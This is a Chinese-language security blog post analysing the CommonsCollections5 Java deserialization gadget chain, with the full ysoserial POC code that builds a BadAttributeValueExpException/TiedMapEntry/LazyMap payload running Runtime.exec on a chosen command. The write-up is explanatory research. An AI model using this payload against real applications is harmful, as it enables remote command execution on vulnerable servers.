前言
上次搞完CC1链之后,大佬说CC5链和CC1比较像,而且也比较单纯,比CC1好分析很多,于是就来看CC5了。
在jdk1.8中CC1的Annotationinvocation的readObject方法被改写了,于是诞生了CC5。CC5同样也是针对CommonsCollections3.1到3.2.1,jdk1.7到1.8。
CC5后半段与CC1完全相同,恶意对象反序列化在BadAttributeValueExpException类进入,然后经过TiedMapEntry类之后到达LazyMap的get方法。看过CC1链的都知道LazyMap的get方法能够直接执行ChainedTransformer的transform了,后面就是那条执行命令的链。
一、ysoserial的POC
首先把POC摆出来,从POC分析下去。
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
LazyMap以上的部分都与CC1相同。接下来就分析一下后半段Poc。
二、TiedMapEntry
在POC中,用LazyMap实例化了TiedMapEntry类。进去看看。主要是寻找有可能调用到LazyMap的get方法的地方。还非常的明显,就一个地方用到了get,就是这个getValue方法,this.map可控。
但是意外的是该类中还有别的方法调用到了这个getValue。三个方法都用到了getValue。
这意味着外部只需要调用其中一个就会执行到getValue,从而执行到LazyMap的get方法。
三、BadAttributeValueExpException
POC继续往下面看,创建了一个BadAttributeValueExpException对象,并且传入entry(上文中的TiedMapEntry对象)到他的成员变量val中。
跟进类中看看。类中实现了readObject方法,可以用来反序列化,而且在反序列化的时候,将val的值放入valObj中(entry),然后判断如果valObj是Long、Interger、Float、Double、Byte、Short、布尔或者System.getSecurityManager() 为空的话,我们就能执行valObj.toString。
很明显,valObj怎么会是这些数字类型的对象呢?那么我们就要满足System.getSecurityManager() ==null。
于是我试了JDK1.7和1.8,发现这个参数的默认值都是null,意味着1.7和1.8版本都需要手动开启这个安全模式,否则就会被CC5攻击。到这里就结束了。
CC5利用链总结
BadAttributeValueExpException.readObject() --> TiedMapEntry.toString() --> TiedMapEntry.getValue() --> LazyMap.get() --> ChainedTransformer.transform() --> RCE!!!
最后
CC1分析过之后分析CC5真的是舒服多了,希望各位师傅多多指点。